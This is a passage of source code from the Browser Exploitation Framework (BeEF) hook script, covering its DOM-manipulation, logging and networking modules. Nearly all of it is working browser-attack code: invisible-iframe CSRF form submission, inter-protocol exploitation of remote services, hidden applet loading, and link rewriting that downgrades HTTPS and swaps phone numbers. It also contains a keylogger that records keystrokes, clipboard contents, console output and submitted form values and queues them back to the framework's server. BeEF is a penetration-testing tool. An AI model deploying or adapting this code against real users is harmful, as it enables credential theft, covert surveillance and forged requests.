  10930.          * OR
  10931.          * @return {Hash} A hash with the height and the ID of the highest element in the DOM {'height': INT, 'elem': STRING}
  10932.          */
  10933.         getHighestZindex: function(include_id) {
  10934.                 var highest = {'height':0, 'elem':''};
  10935.                 $j('*').each(function() {
  10936.                         var current_high = parseInt($j(this).css("zIndex"),10);
  10937.                         if (current_high > highest.height) {
  10938.                                 highest.height = current_high;
  10939.                                 highest.elem = $j(this).attr('id');
  10940.                         }
  10941.                 });
  10942.  
  10943.                 if (include_id) {
  10944.                         return highest;
  10945.                 } else {
  10946.                         return highest.height;
  10947.                 }
  10948.         },
  10949.        
  10950.         /**
  10951.      * Create an iFrame element and prepend to document body. URI passed via 'src' property of function's 'params' parameter
  10952.      * is assigned to created iframe tag's src attribute resulting in GET request to that URI.
  10953.      * example usage in the code: beef.dom.createIframe('fullscreen', {'src':$j(this).attr('href')}, {}, null);
  10954.          * @param {String} type: can be 'hidden' or 'fullScreen'. defaults to normal
  10955.          * @param {Hash} params: list of params that will be sent in request.
  10956.          * @param {Hash} styles: css styling attributes, these are merged with the defaults specified in the type parameter
  10957.          * @param {Function} a callback function to fire once the iFrame has loaded
  10958.          * @return {Object} the inserted iFrame
  10959.      *
  10960.          */
  10961.         createIframe: function(type, params, styles, onload) {
  10962.                 var css = {};
  10963.  
  10964.                 if (type == 'hidden') {
  10965.                         css = $j.extend(true, {'border':'none', 'width':'1px', 'height':'1px', 'display':'none', 'visibility':'hidden'}, styles);
  10966.                 } else if (type == 'fullscreen') {
  10967.                         css = $j.extend(true, {'border':'none', 'background-color':'white', 'width':'100%', 'height':'100%', 'position':'absolute', 'top':'0px', 'left':'0px', 'z-index':beef.dom.getHighestZindex()+1}, styles);
  10968.                         $j('body').css({'padding':'0px', 'margin':'0px'});
  10969.                 } else {
  10970.                         css = styles;
  10971.                         $j('body').css({'padding':'0px', 'margin':'0px'});
  10972.                 }
  10973.                 var iframe = $j('<iframe />').attr(params).css(css).load(onload).prependTo('body');
  10974.                
  10975.                 return iframe;
  10976.         },
  10977.  
  10978.     /**
  10979.      * Load the link (href value) in an overlay foreground iFrame.
  10980.      * The BeEF hook continues to run in background.
  10981.      * NOTE: if the target link is returning X-Frame-Options deny/same-origin or uses
  10982.      * Framebusting techniques, this will not work.
  10983.      */
  10984.     persistentIframe: function(){
  10985.         $j('a').click(function(e) {
  10986.             if ($j(this).attr('href') != '')
  10987.             {
  10988.                 e.preventDefault();
  10989.                 beef.dom.createIframe('fullscreen', {'src':$j(this).attr('href')}, {}, null);
  10990.                 $j(document).attr('title', $j(this).html());
  10991.                 document.body.scroll = "no";
  10992.                 document.documentElement.style.overflow = 'hidden';
  10993.             }
  10994.         });
  10995.     },
  10996.  
  10997.     /**
  10998.      * Load a full screen div that is black, or, transparent
  10999.      * @param {Boolean} vis: whether or not you want the screen dimmer enabled or not
  11000.      * @param {Hash} options: a collection of options to customise how the div is configured, as follows:
  11001.      *         opacity:0-100         // Lower number = less grayout higher = more of a blackout
  11002.      *           // By default this is 70
  11003.      *         zindex: #             // HTML elements with a higher zindex appear on top of the gray out
  11004.      *           // By default this will use beef.dom.getHighestZindex to always go to the top
  11005.      *         bgcolor: (#xxxxxx)    // Standard RGB Hex color code
  11006.      *           // By default this is #000000
  11007.      */
  11008.         grayOut: function(vis, options) {
  11009.           // in any order.  Pass only the properties you need to set.
  11010.           var options = options || {};
  11011.           var zindex = options.zindex || beef.dom.getHighestZindex()+1;
  11012.           var opacity = options.opacity || 70;
  11013.           var opaque = (opacity / 100);
  11014.           var bgcolor = options.bgcolor || '#000000';
  11015.           var dark=document.getElementById('darkenScreenObject');
  11016.           if (!dark) {
  11017.             // The dark layer doesn't exist, it's never been created.  So we'll
  11018.             // create it here and apply some basic styles.
  11019.             // If you are getting errors in IE see: http://support.microsoft.com/default.aspx/kb/927917
  11020.             var tbody = document.getElementsByTagName("body")[0];
  11021.             var tnode = document.createElement('div');           // Create the layer.
  11022.                 tnode.style.position='absolute';                 // Position absolutely
  11023.                 tnode.style.top='0px';                           // In the top
  11024.                 tnode.style.left='0px';                          // Left corner of the page
  11025.                 tnode.style.overflow='hidden';                   // Try to avoid making scroll bars            
  11026.                 tnode.style.display='none';                      // Start out Hidden
  11027.                 tnode.id='darkenScreenObject';                   // Name it so we can find it later
  11028.             tbody.appendChild(tnode);                            // Add it to the web page
  11029.             dark=document.getElementById('darkenScreenObject');  // Get the object.
  11030.           }
  11031.           if (vis) {
  11032.             // Calculate the page width and height
  11033.             if( document.body && ( document.body.scrollWidth || document.body.scrollHeight ) ) {
  11034.                 var pageWidth = document.body.scrollWidth+'px';
  11035.                 var pageHeight = document.body.scrollHeight+'px';
  11036.             } else if( document.body.offsetWidth ) {
  11037.               var pageWidth = document.body.offsetWidth+'px';
  11038.               var pageHeight = document.body.offsetHeight+'px';
  11039.             } else {
  11040.                var pageWidth='100%';
  11041.                var pageHeight='100%';
  11042.             }
  11043.             //set the shader to cover the entire page and make it visible.
  11044.             dark.style.opacity=opaque;
  11045.             dark.style.MozOpacity=opaque;
  11046.             dark.style.filter='alpha(opacity='+opacity+')';
  11047.             dark.style.zIndex=zindex;
  11048.             dark.style.backgroundColor=bgcolor;
  11049.             dark.style.width= pageWidth;
  11050.             dark.style.height= pageHeight;
  11051.             dark.style.display='block';
  11052.           } else {
  11053.              dark.style.display='none';
  11054.           }
  11055.         },
  11056.  
  11057.         /**
  11058.          * Remove all external and internal stylesheets from the current page - sometimes prior to socially engineering,
  11059.          *  or, re-writing a document this is useful.
  11060.          */
  11061.         removeStylesheets: function() {
  11062.                 $j('link[rel=stylesheet]').remove();
  11063.                 $j('style').remove();
  11064.         },
  11065.        
  11066.         /**
  11067.      * Create a form element with the specified parameters, appending it to the DOM if append == true
  11068.          * @param {Hash} params: params to be applied to the form element
  11069.          * @param {Boolean} append: automatically append the form to the body
  11070.          * @return {Object} a form object
  11071.          */
  11072.         createForm: function(params, append) {
  11073.                 var form = $j('<form></form>').attr(params);
  11074.                 if (append)
  11075.                         $j('body').append(form);
  11076.                 return form;
  11077.         },
  11078.        
  11079.         loadScript: function(url) {
  11080.           var s = document.createElement('script');
  11081.           s.type = 'text/javascript';
  11082.           s.src = url;
  11083.           $j('body').append(s);
  11084.         },
  11085.  
  11086.         /**
  11087.          * Get the location of the current page.
  11088.          * @return the location.
  11089.          */
  11090.         getLocation: function() {
  11091.                 return document.location.href;
  11092.         },
  11093.        
  11094.         /**
  11095.          * Get links of the current page.
  11096.          * @return array of URLs.
  11097.          */
  11098.         getLinks: function() {
  11099.                 var linksarray = [];
  11100.                 var links = document.links;
  11101.                 for(var i = 0; i<links.length; i++) {
  11102.                         linksarray = linksarray.concat(links[i].href)          
  11103.                 };
  11104.                 return linksarray
  11105.         },
  11106.        
  11107.         /**
  11108.          * Rewrites all links matched by selector to url, also rebinds the click method to simply return true
  11109.          * @param {String} url: the url to be rewritten
  11110.          * @param {String} selector: the jquery selector statement to use, defaults to all a tags.
  11111.          * @return {Number} the amount of links found in the DOM and rewritten.
  11112.          */
  11113.         rewriteLinks: function(url, selector) {
  11114.                 var sel = (selector == null) ? 'a' : selector;
  11115.                 return $j(sel).each(function() {
  11116.                         if ($j(this).attr('href') != null)
  11117.                         {
  11118.                                 $j(this).attr('href', url).click(function() { return true; });
  11119.                         }
  11120.                 }).length;
  11121.         },
  11122.  
  11123.         /**
  11124.          * Rewrites all links matched by selector to url, leveraging Bilawal Hameed's hidden click event overwriting.
  11125.          * http://bilaw.al/2013/03/17/hacking-the-a-tag-in-100-characters.html
  11126.          * @param {String} url: the url to be rewritten
  11127.          * @param {String} selector: the jquery selector statement to use, defaults to all a tags.
  11128.          * @return {Number} the amount of links found in the DOM and rewritten.
  11129.          */
  11130.         rewriteLinksClickEvents: function(url, selector) {
  11131.                 var sel = (selector == null) ? 'a' : selector;
  11132.                 return $j(sel).each(function() {
  11133.                         if ($j(this).attr('href') != null)
  11134.                         {
  11135.                                 $j(this).click(function() {this.href=url});
  11136.                         }
  11137.                 }).length;
  11138.         },
  11139.  
  11140.         /**
  11141.      * Parse all links in the page matched by the selector, replacing old_protocol with new_protocol (ex.:https with http)
  11142.          * @param {String} old_protocol: the old link protocol to be rewritten
  11143.          * @param {String} new_protocol: the new link protocol to be written
  11144.          * @param {String} selector: the jquery selector statement to use, defaults to all a tags.
  11145.          * @return {Number} the amount of links found in the DOM and rewritten.
  11146.          */
  11147.         rewriteLinksProtocol: function(old_protocol, new_protocol, selector) {
  11148.  
  11149.                 var count = 0;
  11150.                 var re = new RegExp(old_protocol+"://", "gi");
  11151.                 var sel = (selector == null) ? 'a' : selector;
  11152.  
  11153.                 $j(sel).each(function() {
  11154.                         if ($j(this).attr('href') != null) {
  11155.                                 var url = $j(this).attr('href');
  11156.                                 if (url.match(re)) {
  11157.                                         $j(this).attr('href', url.replace(re, new_protocol+"://")).click(function() { return true; });
  11158.                                         count++;
  11159.                                 }
  11160.                         }
  11161.                 });
  11162.  
  11163.                 return count;
  11164.         },
  11165.  
  11166.         /**
  11167.          * Parse all links in the page matched by the selector, replacing all telephone urls ('tel' protocol handler) with a new telephone number
  11168.          * @param {String} new_number: the new link telephone number to be written
  11169.          * @param {String} selector: the jquery selector statement to use, defaults to all a tags.
  11170.          * @return {Number} the amount of links found in the DOM and rewritten.
  11171.          */
  11172.         rewriteTelLinks: function(new_number, selector) {
  11173.  
  11174.                 var count = 0;
  11175.                 var re = new RegExp("tel:/?/?.*", "gi");
  11176.                 var sel = (selector == null) ? 'a' : selector;
  11177.  
  11178.                 $j(sel).each(function() {
  11179.                         if ($j(this).attr('href') != null) {
  11180.                                 var url = $j(this).attr('href');
  11181.                                 if (url.match(re)) {
  11182.                                         $j(this).attr('href', url.replace(re, "tel:"+new_number)).click(function() { return true; });
  11183.                                         count++;
  11184.                                 }
  11185.                         }
  11186.                 });
  11187.  
  11188.                 return count;
  11189.         },
  11190.  
  11191.     /**
  11192.      * Given an array of objects (key/value), return a string of param tags ready to append in applet/object/embed
  11193.      * @param {Array} an array of params for the applet, ex.: [{'argc':'5', 'arg0':'ReverseTCP'}]
  11194.      * @return {String} the parameters as a string ready to append to applet/embed/object tags (ex.: <param name='abc' value='test' />).
  11195.      */
  11196.     parseAppletParams: function(params){
  11197.          var result = '';
  11198.          for (i in params){
  11199.            var param = params[i];
  11200.            for(key in param){
  11201.               result += "<param name='" + key + "' value='" + param[key] + "' />";
  11202.            }
  11203.          }
  11204.         return result;
  11205.     },
  11206.  
  11207.     /**
  11208.      * Attach an applet to the DOM, using the best approach for differet browsers (object/applet/embed).
  11209.      * example usage in the code, using a JAR archive (recommended and faster):
  11210.      * beef.dom.attachApplet('appletId', 'appletName', 'SuperMario3D.class', null, 'http://127.0.0.1:3000/ui/media/images/target.jar', [{'param1':'1', 'param2':'2'}]);
  11211.      * example usage in the code, using codebase:
  11212.      * beef.dom.attachApplet('appletId', 'appletName', 'SuperMario3D', 'http://127.0.0.1:3000/', null, null);
  11213.      * @param {String} id: reference identifier to the applet.
  11214.      * @param {String} code: name of the class to be loaded. For example, beef.class.
  11215.      * @param {String} codebase: the URL of the codebase (usually used when loading a single class for an unsigned applet).
  11216.      * @param {String} archive: the jar that contains the code.
  11217.      * @param {String} params: an array of additional params that the applet except.
  11218.      */
  11219.     attachApplet: function(id, name, code, codebase, archive, params) {
  11220.         var content = null;
  11221.         if (beef.browser.isIE()) {
  11222.             content = "" + // the classid means 'use the latest JRE available to launch the applet'
  11223.                 "<object id='" + id + "'classid='clsid:8AD9C840-044E-11D1-B3E9-00805F499D93' " +
  11224.                 "height='0' width='0' name='" + name + "'> " +
  11225.                 "<param name='code' value='" + code + "' />";
  11226.  
  11227.             if (codebase != null) {
  11228.                 content += "<param name='codebase' value='" + codebase + "' />"
  11229.             }
  11230.             if (archive != null){
  11231.                 content += "<param name='archive' value='" + archive + "' />";
  11232.             }
  11233.             if (params != null) {
  11234.                 content += beef.dom.parseAppletParams(params);
  11235.             }
  11236.             content += "</object>";
  11237.         }
  11238.         if (beef.browser.isC() || beef.browser.isS() || beef.browser.isO() || beef.browser.isFF()) {
  11239.  
  11240.             if (codebase != null) {
  11241.                 content = "" +
  11242.                     "<applet id='" + id + "' code='" + code + "' " +
  11243.                     "codebase='" + codebase + "' " +
  11244.                     "height='0' width='0' name='" + name + "'>";
  11245.             } else {
  11246.                 content = "" +
  11247.                     "<applet id='" + id + "' code='" + code + "' " +
  11248.                     "archive='" + archive + "' " +
  11249.                     "height='0' width='0' name='" + name + "'>";
  11250.             }
  11251.  
  11252.             if (params != null) {
  11253.                 content += beef.dom.parseAppletParams(params);
  11254.             }
  11255.             content += "</applet>";
  11256.         }
  11257.         // For some reasons JavaPaylod is not working if the applet is attached to the DOM with the embed tag rather than the applet tag.
  11258. //        if (beef.browser.isFF()) {
  11259. //            if (codebase != null) {
  11260. //                content = "" +
  11261. //                    "<embed id='" + id + "' code='" + code + "' " +
  11262. //                    "type='application/x-java-applet' codebase='" + codebase + "' " +
  11263. //                    "height='0' width='0' name='" + name + "'>";
  11264. //            } else {
  11265. //                content = "" +
  11266. //                    "<embed id='" + id + "' code='" + code + "' " +
  11267. //                    "type='application/x-java-applet' archive='" + archive + "' " +
  11268. //                    "height='0' width='0' name='" + name + "'>";
  11269. //            }
  11270. //
  11271. //            if (params != null) {
  11272. //                content += beef.dom.parseAppletParams(params);
  11273. //            }
  11274. //            content += "</embed>";
  11275. //        }
  11276.         $j('body').append(content);
  11277.     },
  11278.  
  11279.     /**
  11280.      * Given an id, remove the applet from the DOM.
  11281.      * @param {String} id: reference identifier to the applet.
  11282.      */
  11283.     detachApplet: function(id) {
  11284.         $j('#' + id + '').detach();
  11285.     },
  11286.  
  11287.     /**
  11288.      * Create an invisible iFrame with a form inside, and submit it. Useful for XSRF attacks delivered via POST requests.
  11289.      * @param {String} action: the form action attribute, where the request will be sent.
  11290.      * @param {String} method: HTTP method, usually POST.
  11291.      * @param {String} enctype: form encoding type
  11292.      * @param {Array} inputs: an array of inputs to be added to the form (type, name, value).
  11293.      *         example: [{'type':'hidden', 'name':'1', 'value':''} , {'type':'hidden', 'name':'2', 'value':'3'}]
  11294.      */
  11295.     createIframeXsrfForm: function(action, method, enctype, inputs){
  11296.         var iframeXsrf = beef.dom.createInvisibleIframe();
  11297.  
  11298.         var formXsrf = document.createElement('form');
  11299.         formXsrf.setAttribute('action',  action);
  11300.         formXsrf.setAttribute('method',  method);
  11301.         formXsrf.setAttribute('enctype', enctype);
  11302.  
  11303.         var input = null;
  11304.         for (i in inputs){
  11305.             var attributes = inputs[i];
  11306.             input = document.createElement('input');
  11307.                 for(key in attributes){
  11308.                     if (key == 'name' && attributes[key] == 'submit') {
  11309.                       // workaround for https://github.com/beefproject/beef/issues/1117
  11310.                       beef.debug("createIframeXsrfForm - warning: changed form input 'submit' to 'Submit'");
  11311.                       input.setAttribute('Submit', attributes[key]);
  11312.                     } else {
  11313.                       input.setAttribute(key, attributes[key]);
  11314.                     }
  11315.                 }
  11316.             formXsrf.appendChild(input);
  11317.         }
  11318.         iframeXsrf.contentWindow.document.body.appendChild(formXsrf);
  11319.         formXsrf.submit();
  11320.  
  11321.         return iframeXsrf;
  11322.     },
  11323.  
  11324.     /**
  11325.      * Create an invisible iFrame with a form inside, and POST the form in plain-text. Used for inter-protocol exploitation.
  11326.      * @param {String} rhost: remote host ip/domain
  11327.      * @param {String} rport: remote port
  11328.      * @param {String} commands: protocol commands to be executed by the remote host:port service
  11329.      */
  11330.     createIframeIpecForm: function(rhost, rport, path, commands){
  11331.         var iframeIpec = beef.dom.createInvisibleIframe();
  11332.  
  11333.         var formIpec = document.createElement('form');
  11334.         formIpec.setAttribute('action',  'http://'+rhost+':'+rport+path);
  11335.         formIpec.setAttribute('method',  'POST');
  11336.         formIpec.setAttribute('enctype', 'multipart/form-data');
  11337.  
  11338.         input = document.createElement('textarea');
  11339.         input.setAttribute('name', Math.random().toString(36).substring(5));
  11340.         input.value = commands;
  11341.         formIpec.appendChild(input);
  11342.         iframeIpec.contentWindow.document.body.appendChild(formIpec);
  11343.         formIpec.submit();
  11344.  
  11345.         return iframeIpec;
  11346.     }
  11347.  
  11348. };
  11349.  
  11350. beef.regCmp('beef.dom');
  11351.  
  11352.  
  11353. //
  11354. // Copyright (c) 2006-2025 Wade Alcorn - wade@bindshell.net
  11355. // Browser Exploitation Framework (BeEF) - https://beefproject.com
  11356. // See the file 'doc/COPYING' for copying permission
  11357. //
  11358.  
  11359. /**
  11360.  * Provides logging capabilities.
  11361.  * @namespace beef.logger
  11362.  */
  11363. beef.logger = {
  11364.        
  11365.         running: false,
  11366.     /**
  11367.     * Internal logger id
  11368.     */
  11369.     id: 0,
  11370.         /**
  11371.          * Holds events created by user, to be sent back to BeEF
  11372.          */
  11373.         events: [],
  11374.         /**
  11375.          * Holds current stream of key presses
  11376.          */
  11377.         stream: [],
  11378.         /**
  11379.          * Contains current target of key presses
  11380.          */
  11381.         target: null,
  11382.         /**
  11383.          * Holds the time the logger was started
  11384.          */
  11385.         time: null,
  11386.     /**
  11387.     * Holds the event details to be sent to BeEF
  11388.     */
  11389.     e: function() {
  11390.         this.id = beef.logger.get_id();
  11391.         this.time = beef.logger.get_timestamp();
  11392.         this.type = null;
  11393.         this.x = 0;
  11394.         this.y = 0;
  11395.         this.target = null;
  11396.         this.data = null;
  11397.         this.mods = null;
  11398.     },
  11399.     /**
  11400.      * Prevents from recursive event handling on form submission
  11401.      */
  11402.     in_submit: false,
  11403.        
  11404.         /**
  11405.          * Starts the logger
  11406.          */
  11407.         start: function() {
  11408.  
  11409.                 beef.browser.hookChildFrames();
  11410.                 this.running = true;
  11411.                 var d = new Date();
  11412.                 this.time = d.getTime();
  11413.  
  11414.         $j(document).off('keypress');
  11415.         $j(document).off('click');
  11416.         $j(window).off('focus');
  11417.         $j(window).off('blur');
  11418.         $j('form').off('submit');
  11419.         $j(document.body).off('copy');
  11420.         $j(document.body).off('cut');
  11421.         $j(document.body).off('paste');
  11422.  
  11423.         if (!!window.console && typeof window.console == "object") {
  11424.           try {
  11425.             var oldInfo = window.console.info;
  11426.             console.info = function (message) {
  11427.               beef.logger.console('info', message);
  11428.               oldInfo.apply(console, arguments);
  11429.             };
  11430.             var oldLog = window.console.log;
  11431.             console.log = function (message) {
  11432.               beef.logger.console('log', message);
  11433.               oldLog.apply(console, arguments);
  11434.             };
  11435.             var oldWarn = window.console.warn;
  11436.             console.warn = function (message) {
  11437.               beef.logger.console('warn', message);
  11438.               oldWarn.apply(console, arguments);
  11439.             };
  11440.             var oldDebug = window.console.debug;
  11441.             console.debug = function (message) {
  11442.               beef.logger.console('debug', message);
  11443.               oldDebug.apply(console, arguments);
  11444.             };
  11445.             var oldError = window.console.error;
  11446.             console.error = function (message) {
  11447.               beef.logger.console('error', message);
  11448.               oldError.apply(console, arguments);
  11449.             };
  11450.          } catch(e) {}
  11451.        }
  11452.  
  11453.                 $j(document).keypress(
  11454.                         function(e) { beef.logger.keypress(e); }
  11455.                 ).click(
  11456.                         function(e) { beef.logger.click(e); }
  11457.                 );
  11458.                 $j(window).focus(
  11459.                         function(e) { beef.logger.win_focus(e); }
  11460.                 ).blur(
  11461.                         function(e) { beef.logger.win_blur(e); }
  11462.                 );
  11463.                 $j('form').submit(
  11464.                         function(e) {
  11465.                 beef.logger.submit(e);
  11466.             }
  11467.                 );
  11468.                 $j(document.body).on('copy', function() {
  11469.                         setTimeout("beef.logger.copy();", 10);
  11470.                 });
  11471.                 $j(document.body).on('cut', function() {
  11472.                         setTimeout("beef.logger.cut();", 10);
  11473.                 });
  11474.                 $j(document.body).on('paste', function() {
  11475.                         beef.logger.paste();
  11476.                 });
  11477.         },
  11478.        
  11479.         /**
  11480.          * Stops the logger
  11481.          */
  11482.         stop: function() {
  11483.                 this.running = false;
  11484.                 clearInterval(this.timer);
  11485.         $j(document).off('keypress');
  11486.         $j(document).off('click');
  11487.         $j(window).off('focus');
  11488.         $j(window).off('blur');
  11489.         $j('form').off('submit');
  11490.         $j(document.body).off('copy');
  11491.         $j(document.body).off('cut');
  11492.         $j(document.body).off('paste');
  11493.         // TODO: reset console
  11494.         },
  11495.  
  11496.     /**
  11497.     * Get id
  11498.     */
  11499.     get_id: function() {
  11500.         this.id++;
  11501.         return this.id;
  11502.     },
  11503.  
  11504.         /**
  11505.          * Click function fires when the user clicks the mouse.
  11506.          */
  11507.         click: function(e) {
  11508.         var c = new beef.logger.e();
  11509.         c.type = 'click';
  11510.         c.x = e.pageX;
  11511.         c.y = e.pageY;
  11512.         c.target = beef.logger.get_dom_identifier(e.target);
  11513.         this.events.push(c);
  11514.         },
  11515.        
  11516.         /**
  11517.          * Fires when the window element has regained focus
  11518.          */
  11519.         win_focus: function(e) {
  11520.         var f = new beef.logger.e();
  11521.         f.type = 'focus';
  11522.         this.events.push(f);
  11523.         },
  11524.        
  11525.         /**
  11526.          * Fires when the window element has lost focus
  11527.          */
  11528.         win_blur: function(e) {
  11529.         var b = new beef.logger.e();
  11530.         b.type = 'blur';
  11531.                 this.events.push(b);
  11532.         },
  11533.        
  11534.         /**
  11535.          * Keypress function fires everytime a key is pressed.
  11536.          * @param {Object} e: event object
  11537.          */
  11538.         keypress: function(e) {
  11539.                 if (this.target == null || ($j(this.target).get(0) !== $j(e.target).get(0)))
  11540.                 {
  11541.                         beef.logger.push_stream();
  11542.                         this.target = e.target;
  11543.                 }
  11544.                 this.stream.push({'char':e.which, 'modifiers': {'alt':e.altKey, 'ctrl':e.ctrlKey, 'shift':e.shiftKey}});
  11545.         },
  11546.        
  11547.         /**
  11548.          * Copy function fires when the user copies data to the clipboard.
  11549.          */
  11550.         copy: function(x) {
  11551.                 try {
  11552.                         var c = new beef.logger.e();
  11553.                         c.type = 'copy';
  11554.                         c.data = clipboardData.getData("Text");
  11555.                         this.events.push(c);
  11556.                 } catch(e) {}
  11557.         },
  11558.  
  11559.         /**
  11560.          * Cut function fires when the user cuts data to the clipboard.
  11561.          */
  11562.         cut: function() {
  11563.                 try {
  11564.                         var c = new beef.logger.e();
  11565.                         c.type = 'cut';
  11566.                         c.data = clipboardData.getData("Text");
  11567.                         this.events.push(c);
  11568.                 } catch(e) {}
  11569.         },
  11570.  
  11571.         /**
  11572.          * Console function fires when data is sent to the browser console.
  11573.          */
  11574.         console: function(type, message) {
  11575.                 try {
  11576.                         var c = new beef.logger.e();
  11577.                         c.type = 'console';
  11578.                         c.data = type + ': ' + message;
  11579.                         this.events.push(c);
  11580.                 } catch(e) {}
  11581.         },
  11582.  
  11583.         /**
  11584.          * Paste function fires when the user pastes data from the clipboard.
  11585.          */
  11586.         paste: function() {
  11587.                 try {
  11588.                         var c = new beef.logger.e();
  11589.                         c.type = 'paste';
  11590.                         c.data = clipboardData.getData("Text");
  11591.                         this.events.push(c);
  11592.                 } catch(e) {}
  11593.         },
  11594.  
  11595.         /**
  11596.          * Submit function fires whenever a form is submitted
  11597.      * TODO: Cleanup this function
  11598.          */
  11599.         submit: function(e) {
  11600.         if (beef.logger.in_submit) {
  11601.             return true;
  11602.         }
  11603.                 try {
  11604.                         var f = new beef.logger.e();
  11605.                         f.type = 'submit';
  11606.                         f.target = beef.logger.get_dom_identifier(e.target);
  11607.             var jqForms = $j(e.target);
  11608.             var values = jqForms.find('input').map(function() {
  11609.                     var inp = $j(this);    
  11610.                     return inp.attr('name') + '=' + inp.val();
  11611.                 }).get().join();
  11612.             beef.debug('submitting form inputs: ' + values);
  11613.             /*
  11614.                         for (var i = 0; i < e.target.elements.length; i++) {
  11615.                     values += "["+i+"] "+e.target.elements[i].name+"="+e.target.elements[i].value+"\n";
  11616.                 }
  11617.             */
  11618.                         f.data = 'Action: '+jqForms.attr('action')+' - Method: '+$j(e.target).attr('method') + ' - Values:\n'+values;
  11619.                         this.events.push(f);
  11620.             this.queue();
  11621.             this.target = null;
  11622.             beef.net.flush(function done() {
  11623.                 beef.debug("Submitting the form");
  11624.                 beef.logger.in_submit = true;
  11625.                 jqForms.submit();
  11626.                 beef.logger.in_submit = false;
  11627.                 beef.debug("Done submitting");
  11628.             });
  11629.             e.preventDefault();
  11630.             return false;
  11631.                 } catch(e) {}
  11632.         },
  11633.        
  11634.         /**
  11635.          * Pushes the current stream to the events queue
  11636.          */
  11637.         push_stream: function() {
  11638.                 if (this.stream.length > 0)
  11639.                 {
  11640.                         this.events.push(beef.logger.parse_stream());
  11641.                         this.stream = [];
  11642.                 }
  11643.         },
  11644.        
  11645.         /**
  11646.          * Translate DOM Object to a readable string
  11647.          */
  11648.         get_dom_identifier: function(target) {
  11649.                 target = (target == null) ? this.target : target;
  11650.                 var id = '';
  11651.                 if (target)
  11652.                 {
  11653.                         id = target.tagName.toLowerCase();
  11654.                         id += ($j(target).attr('id')) ? '#'+$j(target).attr('id') : ' ';
  11655.                         id += ($j(target).attr('name')) ? '('+$j(target).attr('name')+')' : '';
  11656.                 }
  11657.                 return id;
  11658.         },
  11659.        
  11660.         /**
  11661.          * Formats the timestamp
  11662.          * @return {String} timestamp string
  11663.          */
  11664.         get_timestamp: function() {
  11665.                 var d = new Date();
  11666.                 return ((d.getTime() - this.time) / 1000).toFixed(3);
  11667.         },
  11668.        
  11669.         /**
  11670.          * Parses stream array and creates history string
  11671.          */
  11672.         parse_stream: function() {
  11673.                 var s = '';
  11674.         var mods = '';
  11675.                 for (var i in this.stream){
  11676.          try{
  11677.             var mod = this.stream[i]['modifiers'];
  11678.             s += String.fromCharCode(this.stream[i]['char']);
  11679.             if(typeof mod != 'undefined' &&
  11680.                       (mod['alt'] == true ||
  11681.                       mod['ctrl'] == true ||
  11682.                       mod['shift'] == true)){
  11683.                 mods += (mod['alt']) ? ' [Alt] ' : '';
  11684.                 mods += (mod['ctrl']) ? ' [Ctrl] ' : '';
  11685.                 mods += (mod['shift']) ? ' [Shift] ' : '';
  11686.                 mods += String.fromCharCode(this.stream[i]['char']);
  11687.             }
  11688.  
  11689.          }catch(e){}
  11690.                 }
  11691.         var k = new beef.logger.e();
  11692.         k.type = 'keys';
  11693.         k.target = beef.logger.get_dom_identifier();
  11694.         k.data = s;
  11695.         k.mods = mods;
  11696.         return k;
  11697.         },
  11698.        
  11699.         /**
  11700.          * Queue results to be sent back to framework
  11701.          */
  11702.         queue: function() {
  11703.                 beef.logger.push_stream();
  11704.                 if (this.events.length > 0)
  11705.                 {
  11706.                         beef.net.queue('/event', 0, this.events);
  11707.                         this.events = [];
  11708.                 }
  11709.         }
  11710.                
  11711. };
  11712.  
  11713. beef.regCmp('beef.logger');
  11714.  
  11715.  
  11716. //
  11717. // Copyright (c) 2006-2025 Wade Alcorn - wade@bindshell.net
  11718. // Browser Exploitation Framework (BeEF) - https://beefproject.com
  11719. // See the file 'doc/COPYING' for copying permission
  11720. //
  11721.  
  11722. /**
  11723.  * Provides basic networking functions,
  11724.  * like beef.net.request and beef.net.forgeRequest,
  11725.  * used by BeEF command modules and the Requester extension,
  11726.  * as well as beef.net.send which is used to return commands
  11727.  * to BeEF server-side components.
  11728.  *
  11729.  * Also, it contains the core methods used by the XHR-polling
  11730.  * mechanism (flush, queue)
  11731.  * @namespace beef.net
  11732.  *
  11733.  */
  11734. beef.net = {
  11735.  
  11736.     host: "127.0.0.1",
  11737.     port: "3000",
  11738.     hook: "/hook.js",
  11739.     httpproto: "http",
  11740.     handler: '/dh',
  11741.     chop: 500,
  11742.     pad: 30, //this is the amount of padding for extra params such as pc, pid and sid
  11743.     sid_count: 0,
  11744.     cmd_queue: [],
  11745.  
  11746.     /**
  11747.      * Command object. This represents the data to be sent back to BeEF,
  11748.      * using the beef.net.send() method.
  11749.      */
  11750.     command: function () {
  11751.         this.cid = null;
  11752.         this.results = null;
  11753.         this.status = null;
  11754.         this.handler = null;
  11755.         this.callback = null;
  11756.     },
  11757.  
  11758.     /**
  11759.      * Packet object. A single chunk of data. X packets -> 1 stream
  11760.      */
  11761.     packet: function () {
  11762.         this.id = null;
  11763.         this.data = null;
  11764.     },
  11765.  
  11766.     /**
  11767.      * Stream object. Contains X packets, which are command result chunks.
  11768.      */
  11769.     stream: function () {
  11770.         this.id = null;
  11771.         this.packets = [];
  11772.         this.pc = 0;
  11773.         this.get_base_url_length = function () {
  11774.             return (this.url + this.handler + '?' + 'bh=' + beef.session.get_hook_session_id()).length;
  11775.         };
  11776.         this.get_packet_data = function () {
  11777.             var p = this.packets.shift();
  11778.             return {'bh': beef.session.get_hook_session_id(), 'sid': this.id, 'pid': p.id, 'pc': this.pc, 'd': p.data }
  11779.         };
  11780.     },
  11781.  
  11782.     /**
  11783.      * Response Object - used in the beef.net.request callback
  11784.      * NOTE: as we are using async mode, the response object will be empty if returned.
  11785.      * Using sync mode, request obj fields will be populated.
  11786.      */
  11787.     response: function () {
  11788.         this.status_code = null;        // 500, 404, 200, 302
  11789.         this.status_text = null;        // success, timeout, error, ...
  11790.         this.response_body = null;      // "<html>…." if not a cross-origin request
  11791.         this.port_status = null;        // tcp port is open, closed or not http
  11792.         this.was_cross_origin = null;   // true or false
  11793.         this.was_timedout = null;       // the user specified timeout was reached
  11794.         this.duration = null;           // how long it took for the request to complete
  11795.         this.headers = null;            // full response headers
  11796.     },
  11797.  
  11798.     /**
  11799.      * Queues the specified command results.
  11800.      * @param {String} handler the server-side handler that will be called
  11801.      * @param {Integer} cid command id
  11802.      * @param {String} results the data to send
  11803.      * @param {Integer} status the result of the command execution (-1, 0 or 1 for 'error', 'unknown' or 'success')
  11804.      * @param {Function} callback the function to call after execution
  11805.      */
  11806.     queue: function (handler, cid, results, status, callback) {
  11807.         if (typeof(handler) === 'string' && typeof(cid) === 'number' && (callback === undefined || typeof(callback) === 'function')) {
  11808.             var s = new beef.net.command();
